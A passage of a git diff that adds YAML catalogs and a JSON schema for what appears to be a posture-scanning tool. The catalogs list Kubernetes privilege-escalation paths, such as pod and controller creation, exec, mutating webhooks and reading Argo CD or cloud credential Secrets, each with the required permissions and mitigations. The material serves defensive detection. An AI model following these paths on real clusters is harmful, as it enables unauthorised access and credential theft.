{verb: create, resource: serviceaccounts, subresource: token, namespace: "*", resource_name: "{target.name}"} + - - {verb: create, resource: namespaces, namespace: "*"} + - {verb: create, resource: serviceaccounts, namespace: "*"} + - {verb: create, resource: secrets, namespace: "*"} + - any_of: + - {verb: get, resource: secrets, namespace: "*"} + - {verb: list, resource: secrets, namespace: "*"} + - {verb: watch, resource: secrets, namespace: "*"} + - - {verb: create, resource: projectrequests, api_group: project.openshift.io, namespace: "*"} + target: + kind: k8s_service_account + selector: + k8s_sa_namespace_absent: true + scope: cluster + aggregate_as: "ServiceAccounts in absent namespaces of {cluster}" + conditions: + - id: namespace_name_allowed + description: Namespace or project creation can be restricted by admission or the project request template; the exact referenced name must be creatable. + - id: projectrequest_grants_admin + description: The projectrequests alternative applies only on OpenShift, where the default project template makes the requester admin of the new project (enough to create the ServiceAccount and pods there). + blockers: [admission_policy] + confidence: conditional + severity: high + mitigation: Remove bindings and SCC users entries whose ServiceAccount namespace no longer exists; restrict namespace and project creation. + references: + - https://kubernetes.io/docs/reference/access-authn-authz/rbac/#referring-to-subjects + notes: k8s_sa_namespace_absent targets ServiceAccounts referenced by a binding that adds a concrete right or by a host-access SCC users[] entry whose namespace is absent from a complete namespace inventory (unknown if the inventory is incomplete). The serviceaccount and pod grants must be cluster-wide (namespace "*") because the namespace does not exist yet. Complements k8s-rbac-dangling-serviceaccount-reference (namespace exists). + +- id: k8s-rbac-escalate-rolebound-clusterrole-namespace + provider: k8s + service: rbac + title: Escalate a ClusterRole bound in one namespace + source: src/pentesting-cloud/kubernetes-security/kubernetes-privilege-escalation/rbac-and-identities.md#escalate + source_revision: 2415fadfbd + summary: Editing a ClusterRole bound through a RoleBinding can grant the source workload and token rights in that namespace. + requires: + all_of: + - verb: escalate + resource: clusterroles + api_group: rbac.authorization.k8s.io + namespace: "*" + resource_name: "{source_rolebound_clusterrole}" + any_of: + - - verb: update + resource: clusterroles + api_group: rbac.authorization.k8s.io + namespace: "*" + resource_name: "{source_rolebound_clusterrole}" + - - verb: patch + resource: clusterroles + api_group: rbac.authorization.k8s.io + namespace: "*" + resource_name: "{source_rolebound_clusterrole}" + target: + kind: k8s_service_account + selector: {k8s_sa_in_namespace: "{target.namespace}"} + scope: same_namespace + outcome: identity + blockers: [] + confidence: conditional + severity: high + mitigation: Do not combine escalate and edit authority on roles bound to the editor. diff --git a/src/privilege-escalation-paths-cspm-reviewed/k8s/scoped-credential-v7.yaml b/src/privilege-escalation-paths-cspm-reviewed/k8s/scoped-credential-v7.yaml new file mode 100644 index 0000000000..0d97d7920c --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/k8s/scoped-credential-v7.yaml @@ -0,0 +1,81 @@ +# catalog_description: Only principal-to-principal or principal-to-additional-permission +# escalation paths belong here. A source must control a credential or hold the +# required verbs, perform the named action, and reach a known target identity +# or new effective permission. Generic Secret reads and guardrail changes +# without a proven identity or permission gain are excluded. +# Canonical provider policy: peaso/privesc/catalog_policy.yaml. +- id: k8s-workloads-pods-mount-argocd-cluster-credential + provider: k8s + service: workloads + title: Mount an Argo CD managed-cluster credential in a Pod + source: src/pentesting-cloud/kubernetes-security/kubernetes-privilege-escalation/validating-admission-policies.md#pod-creation-policy-gaps + source_revision: 2415fadfbd + summary: A Pod author can obtain the registered-cluster identity from a credential-bearing + Argo CD Secret in the same namespace without Secret-read RBAC. + requires: + all_of: [] + any_of: + - - verb: create + resource: pods + namespace: '{target.namespace}' + - - verb: create + resource: deployments + api_group: apps + namespace: '{target.namespace}' + - - verb: create + resource: daemonsets + api_group: apps + namespace: '{target.namespace}' + - - verb: create + resource: statefulsets + api_group: apps + namespace: '{target.namespace}' + - - verb: create + resource: replicasets + api_group: apps + namespace: '{target.namespace}' + - - verb: create + resource: replicationcontrollers + namespace: '{target.namespace}' + - - verb: create + resource: jobs + api_group: batch + namespace: '{target.namespace}' + - - verb: create + resource: cronjobs + api_group: batch + namespace: '{target.namespace}' + target: + kind: k8s_remote_cluster + outcome: credentials + selector: + k8s_secret_holds_remote_cluster_credential: argocd.argoproj.io/secret-type=cluster + k8s_challenge_fact: k8s-workloads-pods-mount-argocd-cluster-credential + scope: cluster + aggregate_as: Argo CD registered-cluster credentials in {cluster} + conditions: + - id: same_namespace_and_admitted_pod + description: A Pod produced by the grant must run in the Secret namespace and + be admitted with a Secret volume or environment reference; admission may deny + the Pod, reference, image, or controller. + - id: usable_remote_cluster_credential + description: The Secret config must contain a currently usable bearer token or + client certificate. An Argo CD label or exec credential-provider configuration + alone does not prove this. + blockers: + - admission_policy + - admission_webhook + - kyverno_policy + - gatekeeper_constraint + confidence: conditional + severity: high + mitigation: Restrict Pod and controller creation in namespaces holding Argo CD cluster + credentials; enforce Secret-reference admission rules. + references: + - https://kubernetes.io/docs/concepts/configuration/secret/ + - https://argo-cd.readthedocs.io/en/stable/operator-manual/declarative-setup/#clusters + notes: Requires fresh metadata-only reviewed evidence binding the source, Secret + UID, admitted workload namespace and kind, exact remote cluster, accepted credential + subject, audience, expiry and effective remote rights. No Secret values are read + or stored. The target denotes this stored remote credential only; it never implies + cluster administrator privileges. diff --git a/src/privilege-escalation-paths-cspm-reviewed/k8s/verified_pivots.yaml b/src/privilege-escalation-paths-cspm-reviewed/k8s/verified_pivots.yaml new file mode 100644 index 0000000000..7c8ec080a4 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/k8s/verified_pivots.yaml @@ -0,0 +1,126 @@ +# catalog_description: Each path starts from a named Kubernetes principal and +# declared permission, performs a specific action, and reaches a verified exact +# principal or a new effective permission. Reviewed evidence is mandatory; +# metadata labels and annotations alone never create these edges. +# Canonical provider policy: peaso/privesc/catalog_policy.yaml. +- id: k8s-rbac-secrets-read-argocd-cluster-credential + provider: k8s + service: rbac + title: Read a verified Argo CD remote-cluster credential Secret + source: src/pentesting-cloud/kubernetes-security/kubernetes-privilege-escalation/secrets-and-configmaps.md#argo-cd-managed-cluster-credentials + source_revision: 2415fadfbd + summary: Read one named Argo CD Secret whose verified usable credential authenticates as an exact remote-cluster subject with a newly allowed action. + requires: + all_of: [] + any_of: + - [{verb: get, resource: secrets, namespace: "{target.namespace}", resource_name: "{target.name}"}] + - [{verb: list, resource: secrets, namespace: "{target.namespace}"}] + - [{verb: watch, resource: secrets, namespace: "{target.namespace}"}] + target: + kind: k8s_remote_cluster + outcome: credentials + selector: {k8s_verified_pivot: k8s-rbac-secrets-read-argocd-cluster-credential} + scope: cluster + aggregate_as: Verified Argo CD remote-cluster subjects + conditions: + - id: exact_remote_credential_review + description: A unique fresh reviewed record binds the exact Secret UID/version, successful read, accepted remote subject, usable token or client certificate, and an action the source could not previously perform. + blockers: [] + confidence: conditional + severity: high + mitigation: Restrict access to Argo CD cluster Secrets and use scoped, renewable remote-cluster credentials. + references: + - https://argo-cd.readthedocs.io/en/stable/operator-manual/declarative-setup/#clusters + notes: The target is the exact accepted remote-cluster subject, not every principal on that cluster. No Secret value is stored. + +- id: k8s-cloud-pivot-secret-static-gcp-sa-key + provider: k8s + service: gke + title: Read a verified Google service-account key from a Secret + source: src/pentesting-cloud/kubernetes-security/kubernetes-privilege-escalation/kubernetes-pivoting-to-clouds.md#static-google-service-account-key-mounted-as-a-secret + source_revision: 2415fadfbd + summary: Read one named Secret containing a verified active JSON key and authenticate as the exact Google service account for a newly allowed IAM action. + requires: + all_of: [] + any_of: + - [{verb: get, resource: secrets, namespace: "{target.namespace}", resource_name: "{target.name}"}] + - [{verb: list, resource: secrets, namespace: "{target.namespace}"}] + - [{verb: watch, resource: secrets, namespace: "{target.namespace}"}] + target: + kind: cloud_identity + outcome: credentials + selector: {k8s_verified_pivot: k8s-cloud-pivot-secret-static-gcp-sa-key} + scope: cluster + aggregate_as: Verified Google service-account keys in Kubernetes Secrets + conditions: + - id: exact_google_key_review + description: A unique fresh reviewed record binds the Secret UID/version, key ID, accepted Google service-account email, successful key authentication, and named IAM action previously denied to the source. + blockers: [] + confidence: conditional + severity: high + mitigation: Restrict Secret reads, revoke exposed service-account keys, and prefer workload federation. + references: + - https://cloud.google.com/iam/docs/keys-create-delete + notes: This row covers direct Secret reads. A Pod mount needs a separate admitted-workload proof; Secret labels and name hints are insufficient. + +- id: k8s-gke-authenticated-user-rolebinding-self-grant + provider: k8s + service: gke + title: Bind a GKE authenticated user to new Kubernetes RBAC access + source: src/pentesting-cloud/kubernetes-security/kubernetes-privilege-escalation/secrets-and-configmaps.md#escalating-in-gke + source_revision: 2415fadfbd + summary: Create or update an exact RoleBinding to ClusterRole view for the caller's own verified Google-authenticated Kubernetes username, gaining get pods in that namespace. + source_kind: k8s_user + requires: + all_of: + - {verb: bind, api_group: rbac.authorization.k8s.io, resource: clusterroles, resource_name: view, namespace: "*"} + any_of: + - [{verb: create, api_group: rbac.authorization.k8s.io, resource: rolebindings, namespace: "{pivot.namespace}"}] + - [{verb: patch, api_group: rbac.authorization.k8s.io, resource: rolebindings, namespace: "{pivot.namespace}"}] + - [{verb: update, api_group: rbac.authorization.k8s.io, resource: rolebindings, namespace: "{pivot.namespace}"}] + target: + kind: k8s_verified_authority + outcome: permission_grant + selector: {k8s_verified_pivot: k8s-gke-authenticated-user-rolebinding-self-grant} + scope: cluster + grants: ["get pods in the exact reviewed RoleBinding namespace to the source's authenticated user"] + conditions: + - id: exact_gke_self_grant_review + description: A unique fresh record proves control of the Google credential, observed Kubernetes username, exact accepted RoleBinding subject and role, prior denial, and newly allowed get pods. + blockers: [] + confidence: conditional + severity: high + mitigation: Restrict RoleBinding writes and bind privileges; verify grants against each authenticated subject's effective RBAC. + references: + - https://cloud.google.com/kubernetes-engine/docs/how-to/role-based-access-control + notes: This grants Kubernetes RBAC only; it neither creates a Google credential nor grants Google IAM permissions. + +- id: k8s-cloud-kiam-kube2iam-annotation + provider: k8s + service: eks + title: Obtain an IAM role through a verified Kiam or Kube2IAM Pod + source: src/pentesting-cloud/kubernetes-security/kubernetes-privilege-escalation/kubernetes-pivoting-to-clouds.md#kiam--kube2iam-iam-role-for-pods + source_revision: 2415fadfbd + summary: Create an admitted running Pod with an exact role annotation in a namespace whose proxy policy allows it, then obtain verified usable credentials for that IAM role. + requires: + all_of: + - {verb: create, resource: pods, namespace: "{target.namespace}"} + target: + kind: cloud_identity + outcome: credentials + selector: {k8s_verified_pivot: k8s-cloud-kiam-kube2iam-annotation} + scope: cluster + aggregate_as: Verified Kiam or Kube2IAM IAM roles + conditions: + - id: exact_metadata_proxy_review + description: A unique fresh record proves the admitted running Pod's exact annotation, namespace allowlist, running proxy, successful role trust and delivered credentials, and a newly allowed IAM action. + blockers: + - admission_policy + - admission_webhook + confidence: conditional + severity: high + mitigation: Limit Pod creation, namespace role allowlists, and proxy role trust to intended workloads. + references: + - https://github.com/uswitch/kiam + - https://github.com/jtblin/kube2iam + notes: An annotation or namespace allowlist alone cannot establish a role edge. diff --git a/src/privilege-escalation-paths-cspm-reviewed/k8s/workloads.yaml b/src/privilege-escalation-paths-cspm-reviewed/k8s/workloads.yaml new file mode 100644 index 0000000000..b74c119aeb --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/k8s/workloads.yaml @@ -0,0 +1,332 @@ +# catalog_description: Only principal-to-principal or principal-to-additional-permission +# escalation paths belong here. A source must control a credential or hold the +# required verbs, perform the named action, and reach a known target identity +# or new effective permission. Generic Secret reads and guardrail changes +# without a proven identity or permission gain are excluded. +# Canonical provider policy: peaso/privesc/catalog_policy.yaml. +# Kubernetes workload-plane techniques: run code as a ServiceAccount by creating/modifying +# pods or controllers, entering existing pods, or injecting into pods via admission. +# Conventions: see header of rbac.yaml. Source: hacktricks-cloud rev a53b46392c, re-verified against 171e422. + +- id: k8s-workloads-pods-create + provider: k8s + service: workloads + title: Create a pod that runs as any ServiceAccount of the namespace + source: src/pentesting-cloud/kubernetes-security/kubernetes-privilege-escalation/workload-and-pod-access.md#pod-create---steal-token + source_revision: 2415fadfbd + summary: The source can obtain the privileges of every ServiceAccount in the namespace where it can create pods. + requires: + all_of: + - verb: create + resource: pods + namespace: "{target.namespace}" + target: + kind: k8s_service_account + selector: + k8s_sa_in_namespace: "{target.namespace}" + scope: same_namespace + aggregate_as: "All ServiceAccounts in {target.namespace}" + conditions: + - id: admission_restricts_service_account + description: A validating/mutating admission policy (VAP, webhook, Kyverno, Gatekeeper, OpenShift SCC) that restricts serviceAccountName, token automount or images could remove the edge. Pod Security Admission does not restrict the ServiceAccount. + blockers: [admission_policy, admission_webhook, kyverno_policy, gatekeeper_constraint] + confidence: derived + severity: high + mitigation: Do not grant pods create in namespaces that host privileged ServiceAccounts (kube-system, operator namespaces); keep powerful ServiceAccounts in dedicated namespaces. + references: + - https://kubernetes.io/docs/concepts/security/rbac-good-practices/#workload-creation + notes: The pod-level automountServiceAccountToken overrides the ServiceAccount's setting, so automount=false on the ServiceAccount is not a blocker. Severity is raised by the evaluator when a reachable ServiceAccount is admin-equivalent. + +- id: k8s-workloads-controllers-create + provider: k8s + service: workloads + title: Create a workload controller whose pod template runs as any ServiceAccount + source: src/pentesting-cloud/kubernetes-security/kubernetes-privilege-escalation/workload-and-pod-access.md#createpatch-deployment-daemonsets-statefulsets-replicationcontrollers-replicasets-jobs-and-cronjobs + source_revision: 2415fadfbd + summary: The source can obtain the privileges of every ServiceAccount in the namespace where it can create a pod-creating controller. + requires: + all_of: [] + any_of: + - - {verb: create, resource: deployments, api_group: apps, namespace: "{target.namespace}"} + - - {verb: create, resource: daemonsets, api_group: apps, namespace: "{target.namespace}"} + - - {verb: create, resource: statefulsets, api_group: apps, namespace: "{target.namespace}"} + - - {verb: create, resource: replicasets, api_group: apps, namespace: "{target.namespace}"} + - - {verb: create, resource: replicationcontrollers, namespace: "{target.namespace}"} + - - {verb: create, resource: jobs, api_group: batch, namespace: "{target.namespace}"} + - - {verb: create, resource: cronjobs, api_group: batch, namespace: "{target.namespace}"} + target: + kind: k8s_service_account + selector: + k8s_sa_in_namespace: "{target.namespace}" + scope: same_namespace + aggregate_as: "All ServiceAccounts in {target.namespace}" + conditions: + - id: admission_restricts_service_account + description: Admission policies applied to the controller-created pods (or to the controller objects) may restrict serviceAccountName or images. + blockers: [admission_policy, admission_webhook, kyverno_policy, gatekeeper_constraint] + confidence: derived + severity: high + mitigation: Treat controller create like pods create; do not grant it in namespaces holding privileged ServiceAccounts. + references: + - https://kubernetes.io/docs/concepts/security/rbac-good-practices/#workload-creation + notes: Pods are created by the controller-manager, so the source needs no pods permission and Kubernetes performs no "use ServiceAccount" check. + +- id: k8s-workloads-controllers-modify + provider: k8s + service: workloads + title: Modify an existing workload controller's pod template + source: src/pentesting-cloud/kubernetes-security/kubernetes-privilege-escalation/workload-and-pod-access.md#createpatch-deployment-daemonsets-statefulsets-replicationcontrollers-replicasets-jobs-and-cronjobs + source_revision: 2415fadfbd + summary: The source can obtain the privileges of every ServiceAccount in the namespace by rewriting the pod template of a controller it can update or patch. + requires: + all_of: [] + any_of: + - - {verb: patch, resource: deployments, api_group: apps, namespace: "{target.namespace}"} + - - {verb: update, resource: deployments, api_group: apps, namespace: "{target.namespace}"} + - - {verb: patch, resource: daemonsets, api_group: apps, namespace: "{target.namespace}"} + - - {verb: update, resource: daemonsets, api_group: apps, namespace: "{target.namespace}"} + - - {verb: patch, resource: statefulsets, api_group: apps, namespace: "{target.namespace}"} + - - {verb: update, resource: statefulsets, api_group: apps, namespace: "{target.namespace}"} + - - {verb: patch, resource: replicasets, api_group: apps, namespace: "{target.namespace}"} + - - {verb: update, resource: replicasets, api_group: apps, namespace: "{target.namespace}"} + - - {verb: patch, resource: replicationcontrollers, namespace: "{target.namespace}"} + - - {verb: update, resource: replicationcontrollers, namespace: "{target.namespace}"} + - - {verb: patch, resource: cronjobs, api_group: batch, namespace: "{target.namespace}"} + - - {verb: update, resource: cronjobs, api_group: batch, namespace: "{target.namespace}"} + target: + kind: k8s_service_account + selector: + k8s_sa_in_namespace: "{target.namespace}" + scope: same_namespace + aggregate_as: "All ServiceAccounts in {target.namespace}" + conditions: + - id: controller_object_exists + description: An existing controller object covered by the grant (resourceNames) must exist in the namespace. + - id: admission_restricts_service_account + description: Admission policies may restrict serviceAccountName or images of the resulting pods. + blockers: [admission_policy, admission_webhook, kyverno_policy, gatekeeper_constraint] + confidence: derived + severity: high + mitigation: Limit controller update/patch to CI/CD identities and scope with resourceNames; protect controllers that run privileged ServiceAccounts. + references: + - https://kubernetes.io/docs/concepts/security/rbac-good-practices/#workload-creation + notes: serviceAccountName in a pod template is mutable, so any SA of the namespace is reachable. The HackTricks lab shows patch-only grants are sufficient (update without get may fail client-side). Job pod templates are immutable after creation, so jobs update/patch is not included; CronJob templates are mutable. + +- id: k8s-workloads-pods-modify-running + provider: k8s + service: workloads + title: Change the container image of an existing pod + source: src/pentesting-cloud/kubernetes-security/kubernetes-privilege-escalation/README.md#high-permissions + source_revision: 171e422 + summary: The source can obtain the privileges of the ServiceAccounts used by existing pods in the namespace by replacing a container image of those pods. + requires: + all_of: [] + any_of: + - - {verb: patch, resource: pods, namespace: "{target.namespace}"} + - - {verb: update, resource: pods, namespace: "{target.namespace}"} + target: + kind: k8s_service_account + selector: + k8s_sa_in_namespace: "{target.namespace}" + k8s_pod_access_path: modify_image + scope: same_namespace + aggregate_as: "ServiceAccounts of running pods in {target.namespace}" + conditions: + - id: admission_restricts_images + description: Image policy admission may reject the image change. + blockers: [admission_policy, admission_webhook, kyverno_policy, gatekeeper_constraint] + confidence: conditional + severity: high + mitigation: Do not grant pods update/patch to non-controller identities. + references: + - https://kubernetes.io/docs/concepts/workloads/pods/#pod-update-and-replacement + notes: Pod spec is mostly immutable but container image is mutable, while serviceAccountName is not; hence only SAs already used by pods are reachable (unlike pods create). Verified against Kubernetes pod update rules. + +- id: k8s-workloads-pods-exec + provider: k8s + service: workloads + title: Execute commands in existing pods + source: src/pentesting-cloud/kubernetes-security/kubernetes-privilege-escalation/workload-and-pod-access.md#pods-exec + source_revision: 2415fadfbd + summary: The source can obtain the privileges of the ServiceAccounts mounted in pods it can exec into. + requires: + all_of: + - verb: create + resource: pods + subresource: exec + namespace: "{target.namespace}" + target: + kind: k8s_service_account + selector: + k8s_sa_in_namespace: "{target.namespace}" + k8s_pod_access_path: exec + scope: same_namespace + aggregate_as: "ServiceAccounts of running pods in {target.namespace}" + conditions: + - id: token_mounted_in_pod + description: The pod must mount a ServiceAccount token (automount not disabled) and contain an executable entrypoint usable for exec. + blockers: [] + confidence: conditional + severity: high + mitigation: Restrict pods/exec to break-glass operators, especially in namespaces with privileged workloads. + references: + - https://kubernetes.io/docs/concepts/security/rbac-good-practices/#workload-creation + notes: Executing in a privileged/host pod also reaches the node (see nodes.yaml). + +- id: k8s-workloads-pods-exec-get-websocket + provider: k8s + service: workloads + title: Execute commands in pods with only get on pods/exec (WebSocket upgrade) + source: src/pentesting-cloud/kubernetes-security/kubernetes-privilege-escalation/workload-and-pod-access.md#pod-interactive-subresources + source_revision: 2415fadfbd + summary: On clusters older than 1.35 the source can obtain the privileges of ServiceAccounts mounted in pods by exec over WebSocket with only get on pods/exec. + requires: + all_of: + - verb: get + resource: pods + subresource: exec + namespace: "{target.namespace}" + target: + kind: k8s_service_account + selector: + k8s_sa_in_namespace: "{target.namespace}" + k8s_pod_access_path: exec_get_websocket + k8s_websocket_exec_get_usable: true + scope: same_namespace + aggregate_as: "ServiceAccounts of running pods in {target.namespace}" + conditions: + - id: websocket_upgrade_create_check_disabled + description: The collected server version is checked. On v1.35 or later, a kube-apiserver pod with an explicit disabled AuthorizePodWebsocketUpgradeCreatePermission gate is conditional; otherwise the gate state remains unresolved. + - id: token_mounted_in_pod + description: The pod must mount a ServiceAccount token. + blockers: [] + confidence: conditional + severity: high + mitigation: Upgrade to Kubernetes 1.35+ (or keep AuthorizePodWebsocketUpgradeCreatePermission enabled) and avoid granting get on pods/* subresources. + references: + - https://github.com/kubernetes/kubernetes/issues/78741 + notes: Verified via upstream issue 78741 and the v1.35 release notes that WebSocket exec previously required only get; since v1.35 create is required by default. + +- id: k8s-workloads-pods-attach + provider: k8s + service: workloads + title: Attach to the process streams of existing pods + source: src/pentesting-cloud/kubernetes-security/kubernetes-privilege-escalation/workload-and-pod-access.md#pod-interactive-subresources + source_revision: 2415fadfbd + summary: The source can obtain the privileges of ServiceAccounts mounted in pods whose main process accepts interactive input. + requires: + all_of: + - verb: create + resource: pods + subresource: attach + namespace: "{target.namespace}" + target: + kind: k8s_service_account + selector: + k8s_sa_in_namespace: "{target.namespace}" + k8s_pod_access_path: attach + scope: same_namespace + aggregate_as: "ServiceAccounts of interactive running pods in {target.namespace}" + conditions: + - id: container_stdin_interactive + description: The target container must have stdin enabled and run a process (e.g. a shell or REPL) that executes attacker input; most containers do not. + blockers: [] + confidence: conditional + severity: medium + mitigation: Restrict pods/attach like pods/exec; avoid stdin/tty in production containers. + references: + - https://kubernetes.io/docs/reference/kubectl/generated/kubectl_attach/ + notes: The pod inventory includes container stdin and status. A Running pod with a running stdin-enabled container is required; whether the process accepts commands remains conditional. + +- id: k8s-workloads-pods-ephemeralcontainers + provider: k8s + service: workloads + title: Add an ephemeral container to existing pods + source: src/pentesting-cloud/kubernetes-security/kubernetes-privilege-escalation/workload-and-pod-access.md#ephemeralcontainers + source_revision: 2415fadfbd + summary: The source can obtain the privileges of the ServiceAccounts used by existing pods in the namespace by adding an ephemeral container that shares their volumes. + requires: + all_of: [] + any_of: + - - {verb: patch, resource: pods, subresource: ephemeralcontainers, namespace: "{target.namespace}"} + - - {verb: update, resource: pods, subresource: ephemeralcontainers, namespace: "{target.namespace}"} + target: + kind: k8s_service_account + selector: + k8s_sa_in_namespace: "{target.namespace}" + k8s_pod_access_path: ephemeral_container + scope: same_namespace + aggregate_as: "ServiceAccounts of running pods in {target.namespace}" + conditions: + - id: admission_restricts_ephemeral + description: Admission policies covering ephemeral containers may reject them; PSA also evaluates ephemeral containers. + blockers: [admission_policy, admission_webhook, kyverno_policy, gatekeeper_constraint] + confidence: conditional + severity: high + mitigation: Grant pods/ephemeralcontainers only to debugging break-glass roles. + references: + - https://kubernetes.io/docs/concepts/workloads/pods/ephemeral-containers/ + notes: An ephemeral container can mount the pod's existing volumes, including the projected ServiceAccount token volume. Privileged ephemeral containers reaching the node are modelled in nodes.yaml. + +- id: k8s-workloads-mutating-webhook-injection + provider: k8s + service: admission + title: Register or modify a mutating admission webhook + source: src/pentesting-cloud/kubernetes-security/kubernetes-privilege-escalation/controllers-and-admission.md#validatingwebhookconfigurations-or-mutatingwebhookconfigurations + source_revision: 171e422 + summary: The source can obtain the privileges of ServiceAccounts in any namespace where pods are created after the webhook is in place, by mutating those pods. + requires: + all_of: [] + any_of: + - - {verb: create, resource: mutatingwebhookconfigurations, api_group: admissionregistration.k8s.io, namespace: "*"} + - - {verb: patch, resource: mutatingwebhookconfigurations, api_group: admissionregistration.k8s.io, namespace: "*"} + - - {verb: update, resource: mutatingwebhookconfigurations, api_group: admissionregistration.k8s.io, namespace: "*"} + target: + kind: k8s_service_account + selector: + k8s_sa_in_namespace: "*" + scope: cluster + aggregate_as: "ServiceAccounts of namespaces with new pod creations in {cluster}" + conditions: + - id: webhook_backend_controlled + description: The source needs an HTTPS endpoint it controls that the API server can reach (external URL or an in-cluster Service it can deploy) and a CA it controls in the configuration. + - id: new_pod_creation_occurs + description: Only pods created or updated after registration are mutated; namespaces with no pod churn are reached only after a restart or rollout. + blockers: [] + confidence: conditional + severity: critical + mitigation: Restrict writes to mutatingwebhookconfigurations to cluster administrators and alert on new or changed webhook registrations. + references: + - https://kubernetes.io/docs/reference/access-authn-authz/extensible-admission-controllers/ + notes: A mutating webhook can change serviceAccountName, add containers or make pods privileged, so the reachable set is all SAs in the matched namespaces (and nodes, through privileged injection). Webhooks are never called for admission configuration objects themselves. + +- id: k8s-workloads-mutating-admission-policy-injection + provider: k8s + service: admission + title: Create or modify a MutatingAdmissionPolicy and its binding + source: src/pentesting-cloud/kubernetes-security/kubernetes-privilege-escalation/validating-admission-policies.md#mutatingadmissionpolicy-code-injection + source_revision: 171e422 + summary: The source can obtain the privileges of ServiceAccounts in any namespace where pods are created after the policy is in place, by mutating those pods in-process. + requires: + all_of: + - {verb: create, resource: mutatingadmissionpolicies, api_group: admissionregistration.k8s.io, namespace: "*"} + - {verb: create, resource: mutatingadmissionpolicybindings, api_group: admissionregistration.k8s.io, namespace: "*"} + target: + kind: k8s_service_account + selector: + k8s_sa_in_namespace: "*" + k8s_mutating_admission_policy_served: true + scope: cluster + aggregate_as: "ServiceAccounts of namespaces with new pod creations in {cluster}" + conditions: + - id: mutating_admission_policy_served + description: Both MutatingAdmissionPolicy resources must be advertised by the API server; the collector verifies this from API discovery. + - id: new_pod_creation_occurs + description: Only pods created after the change are mutated. + blockers: [] + confidence: conditional + severity: critical + mitigation: Restrict writes to mutatingadmissionpolicies and their bindings to cluster administrators. + references: + - https://kubernetes.io/docs/reference/access-authn-authz/mutating-admission-policy/ + notes: No external backend is needed (CEL runs in the API server). HackTricks reproduced injection of an init container into later pods. Existing-policy or existing-binding modification paths are excluded until the policy-to-binding match is evaluated from inventoried objects. diff --git a/src/privilege-escalation-paths-cspm-reviewed/privesc-technique.schema.json b/src/privilege-escalation-paths-cspm-reviewed/privesc-technique.schema.json new file mode 100644 index 0000000000..2514f83d70 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/privesc-technique.schema.json @@ -0,0 +1,4698 @@ +{ + "$defs": { + "aws_conjunction": { + "items": { + "$ref": "#/$defs/aws_item" + }, + "minItems": 1, + "type": "array" + }, + "aws_group": { + "additionalProperties": false, + "minProperties": 1, + "oneOf": [ + { + "required": [ + "all_of" + ] + }, + { + "required": [ + "any_of" + ] + } + ], + "properties": { + "all_of": { + "$ref": "#/$defs/aws_conjunction" + }, + "any_of": { + "items": { + "anyOf": [ + { + "$ref": "#/$defs/aws_item" + }, + { + "$ref": "#/$defs/aws_conjunction" + } + ] + }, + "minItems": 1, + "type": "array" + }, + "notes": { + "type": "string" + } + }, + "type": "object" + }, + "aws_item": { + "anyOf": [ + { + "$ref": "#/$defs/aws_requirement" + }, + { + "$ref": "#/$defs/aws_group" + } + ] + }, + "aws_requirement": { + "additionalProperties": false, + "properties": { + "action": { + "description": "Concrete IAM action 'service:Action' (no wildcards).", + "pattern": "^[A-Za-z0-9-]+:[A-Za-z0-9]+$", + "type": "string" + }, + "bind": { + "description": "Requirements with the same bind name must hold on ONE common resource the source picks.", + "pattern": "^[a-z][a-z0-9_]{0,40}$", + "type": "string" + }, + "notes": { + "type": "string" + }, + "request_context": { + "additionalProperties": { + "anyOf": [ + { + "type": "string" + }, + { + "description": "The requester picks one value.", + "items": { + "type": "string" + }, + "minItems": 1, + "type": "array" + }, + { + "additionalProperties": false, + "properties": { + "absent": { + "const": true + } + }, + "required": [ + "absent" + ], + "type": "object" + }, + { + "additionalProperties": false, + "properties": { + "chosen": { + "const": true + } + }, + "required": [ + "chosen" + ], + "type": "object" + }, + { + "additionalProperties": false, + "properties": { + "admin_managed_policy": { + "const": true + } + }, + "required": [ + "admin_managed_policy" + ], + "type": "object" + }, + { + "additionalProperties": false, + "properties": { + "source_principal": { + "const": true + } + }, + "required": [ + "source_principal" + ], + "type": "object" + }, + { + "additionalProperties": false, + "properties": { + "values": { + "items": { + "type": "string" + }, + "minItems": 1, + "type": "array" + } + }, + "required": [ + "values" + ], + "type": "object" + } + ] + }, + "description": "Condition-key values carried by the technique's own request.", + "minProperties": 1, + "propertyNames": { + "pattern": "^[A-Za-z0-9-]+:[A-Za-z0-9_./*-]+$" + }, + "type": "object" + }, + "resource": { + "description": "Resource ARN / pattern / placeholder the action must cover ('*' = any).", + "type": "string" + } + }, + "required": [ + "action" + ], + "type": "object" + }, + "aws_technique": { + "properties": { + "id": { + "pattern": "^aws-[a-z0-9]+(-[a-z0-9]+)*$" + }, + "preconditions": { + "items": { + "anyOf": [ + { + "enum": [ + "agentcore_new_interpreter_broad_name_and_role_ready", + "amplifybackend_create_token_backend_scope", + "apprunner_existing_customer_account", + "apprunner_existing_image_service_update", + "appstream_existing_app_block_builder_role_swap", + "appstream_existing_fleet_role_swap", + "appstream_new_app_block_builder_with_role", + "appstream_new_fleet_with_role", + "appstream_new_image_builder_with_role", + "assumable_role_allows_account_admin", + "batch_new_job_and_ec2_queue_authorized", + "cloudcontrol_source_can_create_admin_user", + "cloudformation_attached_role_changeset_executable", + "cloudformation_attached_role_stack_updatable", + "cloudformation_existing_stack_updatable_with_role", + "cloudformation_extension_package_and_invocation", + "cloudformation_new_changeset_with_role", + "cloudformation_new_stack_with_role", + "cloudformation_service_managed_stackset_targetable", + "cloudfront_edge_distribution_and_service_roles", + "codebuild_existing_project_buildspec_override", + "codebuild_existing_project_role_and_build", + "codebuild_existing_project_update_buildspec", + "codebuild_new_project_role_and_build", + "codebuild_running_sandbox_command", + "codebuild_running_sandbox_connection", + "codepipeline_existing_project_update_buildspec", + "codepipeline_new_codecommit_project_route", + "codepipeline_new_ecr_project_route", + "codepipeline_new_s3_project_route", + "ec2_instance_connect_same_running_role_host", + "ec2_instance_running", + "ec2_spot_fleet_roles_ready", + "ec2_userdata_restart_execution_reviewed", + "ecs_container_instance_exists", + "ecs_existing_task_override_runnable_with_role", + "ecs_task_definition_exists", + "eks_cluster_exists", + "eks_existing_self_access_entry_can_receive_cluster_admin", + "eks_new_self_access_entry_can_receive_cluster_admin", + "emr_cluster_session_runtime_role", + "emr_containers_endpoint_route", + "emr_containers_job_route", + "emr_containers_pod_identity_job_route", + "emr_serverless_job_route", + "eventbridge_subscriber_has_active_bus_and_bound_permissions", + "flink_new_application_startable", + "glue_existing_dev_endpoint_ssh_access", + 